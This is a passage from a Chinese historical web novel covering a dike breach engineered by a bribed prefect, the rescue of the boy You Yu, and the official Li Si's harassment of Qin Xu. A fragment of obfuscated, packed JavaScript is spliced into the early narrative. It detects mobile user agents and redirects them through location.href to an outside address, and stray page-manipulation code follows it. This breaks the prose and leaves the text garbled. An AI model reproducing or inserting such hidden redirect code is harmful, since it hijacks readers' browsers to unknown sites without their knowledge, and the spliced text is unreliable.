只听“轰隆”一声巨响。 大地好像都在震颤，那河堤的中段竟裂开一道大口子，河水像脱缰的马，裹挟泥沙、碎石，疯狂涌出，瞬间漫过了堤下的空地。 游乘拉着秦徐，朝后方跑。 他们脚下的地开始晃动，慌忙扶住旁边的老槐树，才算站稳脚跟。 可转头一看，游乘发现游余还站在堤岸边。 那孩子是热心肠，想伸手拉一个老村民，但是，水流湍急，漫过了他的半腰。 没等反应过来，一股更强的水势猛冲过来，将游余往下游拽了去。 游乘没听见弟弟的呼救，一眨眼，那边已是汪洋一片。弟弟游余和身边的衙役、村民一起，被河水卷走，没了踪影。 “游余！” 游乘疯了似的，往河边冲去，却被秦均死死拽住胳膊。 “不能去！”秦均嘶吼着，“水里全是漩涡，下去就会死的！” 游乘心疼得无法呼吸，握桨的手背青筋直跳。 他和秦均找来救急的小船，守在河堤下游的高地上，盯着水流，一刻都不敢移开。两人约定，只要水位稍有回落，就立刻去寻游余，哪怕只有一丝希望也不能放弃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225698|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >等了一个时辰，河水流速终于缓了些。 好几艘小船下水去救人，秦均撑着桨划水，游乘站在船头，一遍遍检查河面，不错过任何一点踪迹。 他们的小船顺着河道往下游划，行至半途，岸边一座围着木栏的院落，映入眼帘。 那院内的房屋已经建了大半，几根歪斜的木梁泡在水里，显然也遭了洪水。 “这是哪家的宅子，这么气派？” 游乘指着院落问道。 秦均顺着他的目光看，眉头皱了起来，“是三殿下那座还在修的府邸。前阵子水患塌了一角，刚修补没几日，如今又遭了洪水，怕是得彻底重修了。” 游乘望着被洪水浸漫的地基，只觉漠然，“这么一来，重修又要耗上数年，倒又给了三殿下迟迟不肯离京的新借口。” 船身被水波晃了下。 游乘抓紧船舷，想起眼下最重要的事是找到弟弟游余。他收回目光，重新投向浑浊的河面，祈祷着弟弟平安无事。 小船漂了许久，游乘和秦均陆续救起了几个抓着浮木的村民。有的受了伤，有的冻得嘴唇发紫。他们救起一个人，就急切地追问“有没有见过一个十三岁的外地少年”，得到的都是摇头和“没见着”的回答。 游乘的心往下沉，握桨的手却越抓越紧，不见到结局，他不甘心。 夕阳渐高，暮色铺洒河面，渐渐起了雾，能见度更低。 加之火把快要灭了，秦均劝游乘，“不如先上岸，等明天天亮了再接着找？” 游乘摇着头，仍在河面上来回检查，“再找一圈，就一圈……肯定能找到游余。” 事实证明，刚才找不到，天黑之后更找不见。 他们备受打击，要把船往上游划，再搜寻最后一段河道，岸边传来一些压低的说话声，断断续续地飘过来。 两人对视一眼，立刻将船停在芦苇丛后，借着最后的火把光亮，看过去。 那是两个扛着铁锹的河工，正蹲在地上，围着一个布包低声交谈，布包里露出的银子，在夜色里闪着光。 “还是知府大人爽快，答应的三百两一分不少！” 其中一个河工得意地笑道，“早知道这么容易，当初就该多要些！” “你别不知足了。” 另一个河工拍拍他的肩，满是邀功的意味，“要不是你按我说的，在河堤下方凿了个洞，哪能这么容易决口？现在事成了，这银子该是咱们的，往后，知府大人还得靠咱们办事呢！” 字字句句，像惊雷劈在游乘耳边。 他连呼吸都变得急促，原来河堤决口根本不是天灾，是江陵知府故意找人毁的！ 这背后，不知藏着多少阴谋。 游乘与秦均交换了个眼神，两人皆是惊怒。 河工的话证实了决堤是人为，更把江陵知府扯进了这桩阴谋里。 秦均不敢耽搁，当即返回附近的驻扎点，带来几个差役，彼此递了个眼色，“从两侧绕过去，把人扣牢，别让他们漏出半点动静，更别让他们咬舌自尽！” 差役们领命，钻进岸边的芦苇丛，悄悄包抄。 那两个河工还在低头数着银子，没等反应过来，手腕就已被反剪在身后，刚要张嘴呼救，布团便塞进嘴里，被看管起来。 恰好这时，远处有急促的脚步声。 游乘抬头望去，一个浑身裹着泥浆的村民正朝着河边狂奔，边跑边喊：“秦大人！游公子！找到了……下游的围困地那边，好像见着个穿青布衫的少年，跟你们找的游小公子一模一样！他抓着一根断木，还活着……” 游乘大惊若喜，站起身。 小船被他带得剧烈晃了晃，他浑然不觉，只把那人接到船上来，“快带我们过去！现在就去！” 焦虑与恐惧，在这一刻变成了珍贵的希望。 秦均也起了身，一边让人看好被抓的河工，一边调整船桨方向，跟着村民指的方向赶去。 小船飘荡约莫一炷香的时间，前方出现一片被洪水围困的高地。几块露出水面的巨石连在一起，上面挤满了避难的村民。有人在哭，有人在喊，乱作一团。 游乘的目光在人群里搜索，心跳快得要冲出胸腔，直到看见那块断木上趴着的身影，才猛地松了口气，颤声喊道，“我弟！他在那儿！” 秦均将船划得更近些。 游乘俯身抓住游余的胳膊，他浑身湿透，嘴唇冻得发紫，意识已经有些模糊。 “弟弟醒醒！”游乘边喊，边将他拖上船。 秦均连忙递过干布，两人合力把游余裹住，又给他灌了些温热的米汤，才算让他缓过劲来。 “大哥……” 游余睁开眼，声音微弱，“河堤……是被人弄塌的……我听见那些人说……” 没等说完，他翻着眼皮，昏了过去。 游乘摸了摸他的脉搏，确认他只是虚弱，转头看向秦均，冷厉道，“这江陵知府，留不得了。” 秦均点了点头，往岸边划船，“先把游余送回驿站，请大夫，那两个河工已经看押起来，等游余醒了，咱们带着人证去府衙，定让知府大人给下游百姓一个交代！” 两人把游余扶下船。 有衙役慌忙赶来，说刚收到消息，京中李经章的人已经到了江陵，正在府衙，跟知府大人议事，好像是为了三殿下府邸重修的事。 “李经章？他凭什么？” 游乘皱紧眉头，心里升起一种不妙的预感。 秦均让他先送游余去驿站，照顾好游余。 他自己带着差役押着两个河工，直奔府衙。 游乘安顿好游余，赶往府衙。这不仅是为下游百姓讨公道，或许江陵就是解开谜团的关键。 府衙外，守卫森严，显然是提前得到了消息。 秦均上前亮出官凭，照样被拦在门外。 面生的侍卫说，“知府大人正在与京中来的大人议事，任何人不得入内！” “放肆！” 秦均厉声喝道，“我是江陵同知，奉朝廷之命巡查河堤，如今抓到蓄意破坏河堤的凶手，必须面见知府大人，你敢阻拦？” 说着，他使个眼色。 身后的差役上前，推着两个五花大绑的河工到侍卫面前，并说道，“这两人亲口承认受知府大人指使，凿穿河堤暗渠，你若拦着便是同谋！” 侍卫见状，脸色大白，慌忙跑进去通报。 没一会，江陵知府就陪着一个穿锦袍的中年男人走了出来。 那人看见了秦均，脸上堆起假笑，“您便是秦大人？在下是李首辅府上的管事，奉命前来与知府大人商议三殿下府邸重修事宜，不知秦大人带人犯前来，有何贵干？” “贵干？” 秦均冷笑，指着那两个河工，“他俩蓄意破坏河堤，导致水患，下游百姓流离失所，我要请知府大人审案。不知你这李大人的管事，为何在此阻拦？难道是想包庇凶手？” 管事刚要辩解，人群后走出一个少年。 游乘手里拿着一张纸，“我想，这位管事大人应该也很想知道，河堤决口，除了谋害百姓，还帮了谁吧？自己看看……这是三殿下府邸重修的预算，比之前多了三倍，而负责修缮的工匠，恰好是李家的远房亲戚。一场凶悍的水患，对有些人来说，却是成了谋财的好事！” 管事看着纸上的内容，哑口无言。 江陵知府更是浑身发抖，扑通一声跪倒在地，“我……我是被胁迫的！是李家让我这么做的。他说，只要我弄塌河堤，拖延三殿下离京的时间，就保我升官发财……我一时糊涂，才犯了错啊！” 游乘看着他二人，没有半分怜悯，“做错事，就要付出代价。百姓的性命，不是你们谋权夺利的筹码。” 他转向秦均，拱手道，“还请秦大人严查，将他们都押起来，连同那两个河工一起，送往京城，交由刑部审理。” 秦均将人押走，府衙外的百姓见状，纷纷欢呼起来。 后半夜。 游余才醒过来，仍虚弱，却无大碍。 他靠着床头，小声又反复地，向九姐姐秦徐讲述被水卷走的慌乱。 秦徐守在他的床边，一会递温水，一会帮他掖被角。她见游乘进来，轻声转达大夫的叮嘱。弟弟要好好养着，别让他操心其他的事。 游乘点头应下，瞧见秦徐泛红的眼尾。 这段时日，他们匆忙赶来江陵，到了这儿，又经历一场惊险，她一个娇养的女儿家，跟着担心受怕，从没抱怨过一句，默默把琐事打理得十分妥当。 驿站条件简陋，没有像样的桌椅。 游乘自己倒了碗水，站在不大的天井里，一口口地喝。 秦徐递给他一块帕子，是之前他掉入泥水里脏了的，此刻已洗得干净，带着皂香，“看这绣工，就知道是你母亲缝的。看管好它吧，万一丢了，母亲知道要难过的。” 她声音轻轻的，让人心暖。 游乘接过帕子，低声说了句“多谢”，这句话里多了几分此前没有的柔软。 接下来的几日，游乘和秦均在外奔忙，照料村民重建生活，也盯着府衙牢房里的两个河工和江陵知府，只等京城刑部来人押解。 到第十日，一队穿着刑部官服的人抵达。 他们出示的文书印章并无异样，秦均虽有些犹豫，见对方流程规整，急于将人犯移交，便还是松了手。 谁知，这队人刚带着囚犯离开江陵地界，就驾车拐进了偏僻的山林。 几声闷响，河工和知府便没了声息。 连带着那辆囚车，被推进了山涧，只留下几个“官差”，迅速换了装束，消失在密林里。 真正的刑部官员赶到江陵，已是两日后。 府衙的差役沿着山路搜寻，只找到几片染血的衣角和断裂的囚车木栏。 “是我们太大意了。” 秦均满是懊恼，“分明该多核查几遍，不该轻易信了那些假文书。” 游乘站在山崖边，心想，显然有人故意灭口，不想让河工和知府把真相带去京城。可他们连对手的影子都没摸到，眼睁睁看着人证没了。 现在懊恼，没用。 秦均走在游乘身边，心境沉稳下来，“你看眼下的朝局，李经章一手遮天，三殿下暗怀心思，咱们若是一直停留在‘抓凶手’的圈子里，只会永远被动。” 他们站在一处高地，可俯瞰江陵府的全貌。 秦均指着远处正在重建的河堤，对游乘道，“你们还年轻，不可在小事上钻牛角尖，不如，好好提升自己。” 不管是科举入仕，还是在地方历练。 只有握了实权，有了能力，才能真正查清他们想知道的真相，才能改变这浑浊的局面。 游乘沉默了许久，想起那些因水患流离失所的百姓。确实，眼下的挫败不算什么，若想护住想护的人，查清未结的事，光靠“机械查案”远远不够。 江陵的水患，终成一桩天灾。 自那以后，游乘几人便留在了江陵。 他不再像从前，总惦记朋友刘与之的下落。 以刘家的谨慎和权势，他还有什么不放心？ 刘家定会护着刘与之，让他远离朝堂纷争，过安稳日子。 倒是他自己，该把更多的精力放在实务上。 游乘跟着秦均一起巡查河堤、安抚百姓，有时会去江陵最大的书院旁听，或写几篇文章。 等游余养好了伤，也跟着哥哥一起做事，他的性子得到沉淀，慢慢改掉了曾经的毛躁。 日子一天天过去，江陵的河堤重新筑起，被水患毁了的村落也恢复了生机。 转眼两年过去。 游乘不仅熟悉了地方政务，还在秦均的引荐下，结识了几位相投的官员，和一些正在科举的举人朋友，心情开阔好转起来。 直到那年腊月，新年前夕，游乘几人才收拾好行囊，准备回京。 秦均送妹妹和游家兄弟到城门口，递过一封书信，“这是我给父亲的信，你帮我捎回去。回京后若是遇上难处，也可拿着信去找他，能帮的，定然不会推辞。” 游余跟在哥哥身边，看管着给祖母、母亲和伯母们的特产礼物，忽然有些紧张。 已经两年多没回京，没见着家人了。 马车驶离江陵。 游乘回头望了一眼这座待了两年多的城，没有不舍，只有坚定。 他知道，回京是新的开始。没查清的谜团，没讨回的公道，还有秦均口中提携的“改变朝局”……等等种种，都在等着他去完成。 京城，司宁侯府门前。 容芝和游怜山从晌午就等着儿子一行，远远听见马车的响动，游怜山登时起身，扯了扯身上的新袍，“小芝，你看我怎么样？” 容芝瞥他一眼，“英俊得很……好了，你怎么样不重要，重要的是，孩子们怎么样。” 正说着，那辆马车越走越近，终于停了下来。 容芝瞧着，先跳下来的，是游余吧，她不确认，因为孩子长高了，变结实了，脸还黑了。 直到那孩子自己欢腾地跑来，紧紧抱住她。 “亲娘，您怎么又看傻了？我和哥哥回来啦！” 53. 会试开考，二伯受困 新年前，各地乡试高手，云集京城。 千家胡同，不足斋分店里。 秦徐送走几个举子，把新到的宣纸搬了进来。 窗棂投进的光被一抹藏青官袍遮挡，她以为是来了客人，一转头，撞进一双专注的眼睛里。 都察院右佥都御史李司，又堵在了书局门口。 秦徐松开纸捆，低下头拿过柜台上的账本，仿佛这样就能获得隐身，能避开对方的视线。 前几日李司派小厮递来的约帖，就压在她的柜台最底层。那字里行间的殷勤，像蜜针，扎得人发慌。她压根不搭理，没料到这人竟直接找上了门，显然是打听好了她有亲手理货的习惯，故意来堵她的。 秦徐悄悄看了眼后门的木栓。 谁知她的鞋子刚一碰到门槛，身后传来了李司的声音。 “九姑娘这是要去哪？” 秦徐浑身一僵，手指绞住裙摆，缓缓转过脸，面上勉强挤出笑容，“佥都御史大人，我……去后院搬新到的徽墨。” “重活儿何须你亲自做？安排伙计嘛。” 李司上前两步，官袍扫过货架，嘴角勾着笑，“我刚从江南得了两方端砚，石质细腻，发墨极好，恰好请姑娘帮忙品鉴一二。” 说着便递过了紫檀木盒，盒盖雕着精巧的花纹，看着价值不菲。 这人逼得太近，秦徐不得不往后退，手肘撞到门框上，散放的画轴哗啦滚了一地。 她蹲下收拾，乌发前披，遮住了脸，“大人抬举，可我也不懂太多，怕看错了品错了。眼下会试将近，书局的客人多，我要招呼生意，只好怠慢大人了。” 她把画轴重新放好，躲着站到柜台后，捏着账本，不再抬头。 李司听了这话，居然没再纠缠她，慢悠悠走出店门，又出了巷口。 秦徐这才抬手，按着胸口，长长舒了口气。 她回京那日来过书局，第一次遇见了李司。 那之后，李司像盯上了猎物的鹰，每天下值都准时出现在书局。他从不看平价的草纸、烟墨，专挑货架最上层的徽墨、端砚，连价都不问，就递银子说要。但是，一转头他又往这些买走的货送到她面前。有时甚至故意递到她的鼻尖，还故意停着不动。这些过分亲昵的动作，让她感到极其不适。 又一日午后，客人已经不多。 秦徐刚收拾了后院里的宣纸，要去关后门，却有一道身影挡在了门口。 对方正是李司的随从，这男子腰间有佩刀，看着秦徐的时候，目露戏谑。 “九姑娘别关门啊！” 李司从这人身后走出来，“今日天气不错，李某路过，想请你去对面的酒楼喝一杯，顺便聊聊纸墨，绝无别的意思。” 秦徐弓着背，强压心里的慌，“多谢大人美意，可我柜上还有帐没算完，不便离开。” 说罢，她要扣上门板，袖子被李司伸手扯住。 “大人敢动我家姑娘试试！”一旁的丫鬟漆儿早就准备着，手握剑鞘，剑锋出鞘，寒光闪眼。 可李家的随从也有防备，上前夺下她的剑，扔到门外去，一声脆响，在安静里格外突兀。 男女力量悬殊，漆儿学过几年艺，但架不住被反剪双臂，抵在墙壁上，挣扎也没有用。 正在僵持，游乘的身影突然出现。 他刚从家带了母亲做的莲子羹来，却听见了后院的动静，跑到后门就看见被压制的漆儿，还有和秦徐拉扯的李司。 游乘眉头一拧，抡起手上的食盒，直冲着随从的后背砸上去。 “大公子！” 漆儿眼中一亮，手腕一翻终于挣脱出来，快步跑到游乘身边。 李司看清了来人，敛去面上的漫不经心，示意挨打的随从退到一旁，再开口的语气多了些敬畏，“原来是游大公子。” 游乘没看李司，径直来到秦徐旁边，轻轻扯掉她裙摆上的褶皱，低声问道，“没事吧？有没有被吓到？” 见她摇了头，他才转向李司，“李大人，秦徐早已与我小定，三媒六聘虽未行，但名分已有了。您若再这般纠缠，传出去不仅伤了您的清誉，怕还要影响您的官途。毕竟，都察院最看重官吏的品行，大人不会不懂这个道理。” 李司脸色一阵青红，紧捏着拳，却找不出反驳理由。有关都察院的情况，游乘说的没错，若有言官参他一本“骚扰定亲女子”，他这几年攒下的名声就毁了。 最终，他只能悻悻拱手，“是我唐突了，先行告辞。”说完，带着随从匆匆离开，脚步竟有些狼狈。 等人走远，秦徐的肩膀才敢放松，只是后背已出了一层汗。她看向游乘，声音带着几分未平的发抖，“你怎么来这儿了？” 游乘把手中的食盒递给她，手柄处还带着余温，“母亲炖了你爱吃的银耳羹，加了冰糖和莲子，让我送来。刚才动手，不知洒来没有……” 他与秦徐一同回到前厅，在桌前坐下，打开食盒检查，碗碟竟是完好的。 秦徐捧住碗，低头尝了一口，清香微苦的滋味，让她鼻子发酸。 忽而，她听见游乘问道，“母亲让我问问你，上次那把画着三进小院的团扇，你是不是真喜欢？若真喜欢，她今天去把院子买下来。” 秦徐的脸像染了胭脂，笑道，“要买院子，以后也是咱俩住，想着，我该出些钱才是。这间书局开张了三年，已有不少结余，我拿出二百两，不成问题。” 游乘却摆手，“别，钱的事你别操心，让母亲来安排就好。你先顾着书局的周转，另外，你七哥在江陵，日子不宽裕，书局有结余，你不如寄些银钱给他，帮衬着点，免得他一家日子发愁。” 秦徐顺着这话点头，又想起了客人说的些闲话，她对游乘招手，压低声音，“那个李司……听说是湖西人，会不会也是内阁首辅李经章的同乡？如果是那样，咱们可得多提防些。” 话出口时，秦徐还悄悄扫了眼书局门外，生怕隔墙有耳。如今，京城人多嘴杂，稍有不慎便会惹来麻烦。 游乘若有所思，“这事我找老师问一问吧，袁家在朝堂的人脉广，一定知道李司的底细。” 隔一日，游乘和弟弟游余带了母亲备的年货，往老师袁敞府上去。 袁敞是兄弟俩的科业老师，虽不在朝野，哥哥袁至诚却是刑部尚书，更是内阁次辅，对京城的各路动向，都了若指掌。 一进了袁公的书房，游余便送上新写的策论。 师生二人对坐，从开篇立意，到引经据典，逐字逐句地讨论。袁公似乎也对这篇新作满意，时而俯身，时而皱眉，听得认真，末了，鼓励道：“明年会试，只要拿出今天的劲头，结果不会辜负你的。” 说完文章，游乘端起茶，抿一口，茶味醇厚。 他随口似的问，“袁公，都察院有位李司大人，不知您是否了解？学生听闻，他是湖西人，三年前中的进士。” 袁敞捻着胡须，思索片刻，“说的是右佥都御史李司？此人确实是湖西人士，三年前会试得了会元，殿试又一举夺魁，成了状元。圣上很是赏识，仕途算得上青云直上。这也不过三年，他就从翰林院编修，坐到了右佥都御史的位置，品级与你二伯游怜泉，不相上下。” 游乘微微一怔，“竟还是状元？” 袁敞笑着补充，“而且，他与李经章是同乡，李经章自然愿意提拔他，朝堂上，不少官吏要看李经章的情面，也和李司走得近，但没人说出来罢了。” 游乘心头掠过一丝了然。 难怪李司做派张扬，原来他有状元出身，还有内阁首辅李经章做靠山。 家中二伯游怜泉，如今是都察院左佥都御史，正处在仕途关键期。今年要过京察这一关，若顺顺利利通过，再熬上三年，便能升为副都御史，更进一步，就能摸到都察院的权力中心。 可没料到，半道上杀出个“李司”。 他二人同是佥都御史。 李司虽居“右”，稍微低了一点，凭着状元出身、李经章的扶持，成了游怜泉最棘手的对手。就连游怜泉京察后的升迁，也多了点不确定。 年关近了。 司宁侯游家门前挂了红灯笼，内宅的院里挂了腊肉、香肠，年味渐浓。 这日清晨，族中众人齐聚，一同祭拜过世三年的游三郎游怜钊。他是游家老三，前往江南办案的半路，遭遇山匪，掉落山崖，生死未明。留下妻子李氏和一对儿女，游编和游绵。 烛火摇曳，牌位前的气氛肃穆。 祭拜结束，众妇人在偏厅说话，难免提起了守在寒山寺的李氏。 老夫人邓氏叹气，“李氏苦命啊，守了三年寡，我几次派人去接，她都不肯回侯府，还是坚持要一辈子在佛前为三郎祈福。” 说到回府，另一位在寒山寺的游家人回府了。 侯爷妾室生下的五女儿游梅，终于肯下山过年。她还住在僻静的梅园，老梅树开出红花，给冷清添了生气。 这位游梅早过了双十，喜爱素簪，不施粉黛。早年她母亲还在，怀她时就体弱，生产那日遭遇难产，拼尽最后力气生下她，便走了。 等游梅长大明理了，抱着生母的灵牌立誓，终生不嫁，要为生母守丧尽孝。这些年，游梅在寒山寺，诵经礼佛，心意更为坚定。 京城的冬天冷，风里卷着雪籽。 窗纸沙沙地响，容芝躺下，又怕梅园的屋子有寒气，抱了新棉被，往那边送去。 推开院门，见五妹游梅在廊下坐着缝扣子。 那扣子是梅花形的，小巧别致，但是游梅的指尖被冻红，也捏不住针了。 容芝将被子抱进她屋里，打趣道，“这么冷的天，不在屋里绣？别冻坏了手。” 她拉游梅进屋，妯娌俩在热炕上闲聊，聊得多的还是寒山寺的清苦。 晨钟，暮鼓，到斋饭。 游梅说着说着，突然起身，到屋门口看了一圈，而后，把门关死，凑近容芝，轻道，“大嫂，有件事我一直没说。” “嗯？” “前日我起早给菩萨添灯，在三嫂李氏的屋门外，撞见了三殿下。他穿着常服，好像是刚从三嫂屋里出来，神色看着挺沉的，像生气。” 容芝愣了一瞬，心跳得剧烈，“你怀疑你三嫂和三殿下有牵扯？” 别听她语气平静，心里早已掀起波澜。 那李氏的儿子游编，眉眼间与三殿下相似，也不是只有容芝一个这么想。 只是，容芝和其他人一样，不敢去确认。 这时，游梅却抬起头，声音急切，“我不是怀疑！是我真的见过些事！” 她趴在容芝的耳边，几乎用气声在说话，“十多年前，三嫂住到寒山寺，那时候三殿下就来得很勤，一月能来两三回，每次都在屋里好几个时辰才走。还有一次，我夜里起夜，瞧见三殿下喝得大醉，被人扶着进了三嫂的屋子，到第二日清晨走的。走时，还给三嫂留下个盒子，装了一块粉玉镇纸。” 粉玉镇纸。 容芝听着，没半分惊讶。 这些事她早有预料，如今被游梅证实了，倒也不算意外。 两年前，李氏的儿子游编进宫刺伤三殿下，却能安然地离开京城，就说明了，游编是李氏与三殿下私通生下的孩子。 “大嫂，你……你早就知道？”游梅疑惑道。 容芝拍了拍她的手背，将她当成自己人，“我不仅知道这个，你三哥游怜钊的死，也和这段私情脱不了干系。” “三殿下谋害三哥，是为灭口？”游梅颤声问。 “没有证据。” 容芝打断她，语气凝重起来，“……你三哥是遭了山匪，这事也不好乱往外说，知道吗五妹？眼下正是京察的关键，你二哥游怜泉要争副都御史，你大哥游怜山在礼部当差，任何对游家不利的风声传出去，都要影响他们。咱们妇人，不能添乱。” 游梅反应过来其中的利害，连忙点头，“大嫂放心，我懂，不会跟旁人提半个字。” 容芝捧起手炉，抬眼看向游梅，“对了，你方才说，三殿下那晚在李氏房里留宿，究竟是他自己提的，还是李氏留他的？这事很重要，你再仔细想想。” 游梅垂眸，缓声道，“我后来白天问过寺里负责洒扫的僧人，那晚三殿下站都站不稳，扶着门框说‘走不动，想在屋里歇会儿’。三嫂性子软，面对殿下，哪敢说‘不’？肯定不敢反抗。” 容芝听完微微点头，低声叹道，“这就对了。我瞧着李氏，平日言行端庄，待人温和，不像是放浪之人。她应该是，身不由己吧！” 晚膳吃得暖和。 容芝在廊下拉住要去书房的游怜山，把游梅说的事，随口提了提。 没曾想，游怜山听完直摇头，不以为然，“女子心思最难猜，就算李氏心里真有想法，面上也未必露出来。这种事，从来不是一人能促成的，三殿下再强势，若是李氏真的不愿意，总能找法子避开。依我看，她未必就不情愿。” “怎么就不能是被迫的？” 容芝立刻反驳，“李氏身子弱，胳膊那般细，还性子软，若三殿下来点强硬的，她根本反抗不得！你别把人都想得那么不堪。” 游怜山不急不缓笑了笑，提醒道，“你忘了五妹说的？三殿下站都站不稳，连路都走不了，还有力气强迫？李氏嫁给三弟，才是真不情愿。这事，说不定是李氏故意顺水推舟，想借着三殿下的势力，给她自己谋个前程。那可是皇孙啊……” 容芝被堵得一噎，瞪他一下，“就你懂得多？难不成你亲眼瞧见了？尽说些没根据的话。” 夫人动了气，再辩下去讨不到好。 游怜山回屋，抱起自己的厚棉被，岔开了话题，“你看这天气，夜里越来越冷了。我一个人睡，身边空荡荡的，不多垫几床被子，怕是要冻得缩成一团。你要是心疼我，不如来点实际的？” 容芝瞥了眼他怀里的被子，嘴角撇了撇，“侍郎大人，想的很美呢！这冷，也是你自讨的，我可不管你。” 她话里带嗔怪，眼底却没了气意，转身回里屋。 又想起南屋俩孩子，尤其是小的夜里踢被子。 容芝抱了厚棉被，往那边去。游余还在案上写文章，砚台边堆厚厚的纸稿。 “都这时了还不睡？” 容芝把被子搁在床沿，揉孩子的肩，忍不住笑道，“就算熬到天亮，你这功夫也考不过你哥。当年，你哥乡试可是解元！你再这么熬坏了身子，别说赶超，能不能进考场都难讲。” 游余闻言，咧嘴一笑，眼底是少年人的憨，“娘，您盼我点好吧！哥是哥，我是我，说不定这次会试我能比他考得好。” 话虽说了，他还是放了笔，揉揉发酸的手腕。 一旁看书的游乘回过头，又翻了一页书，“万事待定，都说不好。近来我确实有些心神不宁，夜里总梦到考场出错，未必能发挥得好。” 顿时，容芝脸上的笑意收了，走到游乘身边，摸他的额头，“好好的怎会心神不宁？是不是读书太累？还是另外有事？跟娘说说。” 游乘轻轻摇头，目光重新落回书页，没再往下说。李司纠缠秦徐的事，不好麻烦母亲的。 游余解围，“娘，哥哥在担心九姐姐。都察院的李司大人，好像看上姐姐了，最近总去书局堵她。九姐姐都快没法安心看店了，哥才心神不宁的。” 容芝一听不免惊讶，“啊？这李司太不像话！明知道秦徐和你哥已经小定，还敢这么纠缠！要不，我找他家里女眷谈谈？现在正是京察，他也不怕被参一本。” “娘，您别冲动！” 游余上前按住容芝的手，“李司背后有李经章，他俩是湖西同乡，关系近得很。他自己是三年前的殿试状元，脑子灵光，不是好对付的草包。要是没准备就找上门，您还被他反咬一口，说是咱们故意找茬，反倒要添麻烦了。” “他有才气又如何？” 容芝不认同这话，“对着已定亲的姑娘死缠烂打，品行好不到哪去！我看他，就是留恋青楼的浪荡子。改天，去千家胡同打听打听，保准能查出被他招惹的姑娘。之前不有个叫李香香的，跟朝中不少官吏走得近吗？说不定，其中就有他李司。” 游乘听着母亲的话，记在了心里，眼下却要劝住母亲，“儿子懂您是为秦徐好。眼下甚是敏感，万一被人利用，容易节外生枝，影响京察考评。我派人在秦徐的书局附近盯着了，只要他不再招惹秦徐，咱们暂时不动他。” 容芝仍有气，“你自己看着办，反正别让秦徐受了委屈。” 母亲的脚步，消失在门外。 屋内烛火晃了晃，游余放下笔，看向一旁沉默的哥哥，“李司要是还去烦九姐姐，总不能一直忍吧？” 游乘的眼底多了几分冷意，“他若不知好歹，继续去书局扰秦徐，我立刻去查他。不管是千家胡同的风流事，还是他任上的疏漏，总能找出他的把柄。” 次日，日头高照，气候微暖。 千家胡同热闹得很，不足斋门前，客人众多。 游乘揣着容芝连夜缝的手炉套，轻快地掀开门帘，见李司又站在柜台前。 那人捏着本没拆封的新《诗经》，似笑非笑地与秦徐说着话。秦徐明显不爱搭理他，垂着眼，翻着手里的账本。 见状，游乘心头微沉，却没当场发作。 他走上前，把手炉放在了秦徐的手边，柔声说，“天冷，要记着保暖，别冻着。” 而后转向李司，看着李司愣神的面容，抬手做个请，“李大人，可否借一步说话？附近巷子里有家茶馆，新到了茶叶，咱们边喝边谈？” 李司看着游乘与秦徐之间的默契，怕也知道在书局讨不到好，冷着脸点头，“行，那就听听游大公子有什么话要说。” 马车碾过石板路。 外面一开始还能听见街市的喧闹，走着走着，渐渐安静了下来。两侧房屋低矮，他们似乎从繁华的街区，转到了僻静的小巷。 李司掀开车帘，发现越走越偏，不安渐渐冒头。这种外城的小胡同，他是来过的，鱼目混杂，什么人都有，什么事都不反常。 万一游乘搞出点什么，他连个帮手也找不到。 游乘悄悄观察着他，把他的反应尽收眼底，轻声淡笑，“李大人怕了？我不过是找个清净地方，说话而已，难道李大人怕我对您不利？” 李司一僵，强装镇定，“游公子多虑了，我有点好奇而已，这地方的茶有什么特别之处。” 不多时，马车停在千家胡同口。 两人下车往里走了几步，到了一家扬着招幌的茶馆。茶馆的门面不大，收拾得干净整洁。 它的隔壁，正是谷之房牙行的门脸。 牙行门梁下，挂着几串玉米，透着人气。 游乘路过时，往牙行里扫了眼，没瞧见熟悉的掌柜命生，倒有个伙计认出了他，连忙停下手里的活，朝他躬身行了一礼，“游大公子来了。” 李司将这一幕看在眼里，“游大公子还认识这里的人？莫不是常来这胡同里玩？” 这条千家胡同，有京城最有名的青楼，以及各色戏园子。游乘一个世家公子来这种地方，能干什么。 游乘的脚步没停，继续往茶馆里走，“我不常来，之前陪朋友来牙行办过事，打过几次照面罢了。” 他率先进了茶馆，找了个角落的位置坐下。 两人刚坐定，没等伙计过来招呼，就有一个穿水绿襦裙的女子快步走近。 那女子一身的脂粉香，容貌娇俏，鬓边插着一朵粉色绢花，一把拉住李司的袖子，语气娇俏又亲昵，“李郎！你可有阵子没来了，今天怎么有空到这儿来？是不是特意来看我的？” 李司一甩胳膊，像被烫到似的，甩开女子的手，声音发紧，“你认错人了吧！我根本不认识你！少在这里胡言乱语！” 那女子愣了愣，见他眼神躲闪，分明是装糊涂，当即跺了脚，瞪他一眼，气呼呼地转身走了。那张小嘴还嘟囔着，“明明就是你，上次还说要给我赎身，现在倒不认账了……” 等人离开，李司拿起茶单，镇定地点了壶最贵的雨前龙井，“她就是认错了。” 游乘没问什么，端起桌上的茶杯，吹吹热气。果然和他打听到的一样，李司三年前高中状元就娶妻了，却常来这千家胡同，寻欢作乐。 正想着，之前牙行那个伙计走了进来。 他手里捏着一个信封，悄悄递给茶馆伙计。 茶馆伙计会了意，转身就将信封放在游乘的桌上，低声说了句，“游大公子，您要的东西都在里面了。” 游乘微一颔首，捏着信封边缘，没看一眼，直接推到李司面前，“不如李大人自己看吧，看完，咱们再说话。” 李司盯着信封，犹豫了片刻才拆开。 信纸展开，密密麻麻的字映入眼帘，是十几个青楼女子的名字，李香香是第一个……每个名字后面都跟着一串数字，是他这半年在千家胡同欠的酒钱、赏钱，还有，给姑娘买首饰、胭脂的杂费。每一笔都清清楚楚，甚至包括他承诺给刚才那位女子赎身的字据抄本。 当李司不说话时，游乘开门见山，“你接近秦徐，根本不是真心喜欢她。你看上了她书局的盈利，想靠这门亲事填补在千家胡同的欠账，对不对？你是状元出身，但你太挥霍了，秦徐的书局在京城有稳定客流，稳定赚头，你搭上了她，就能继续维持你的奢靡。” 李司把信纸捏得皱巴，强撑着反驳，“胡说！我家在湖西当地富足得很，岂会缺书局那点钱？我对秦姑娘，是真心的，你休要血口喷人！” 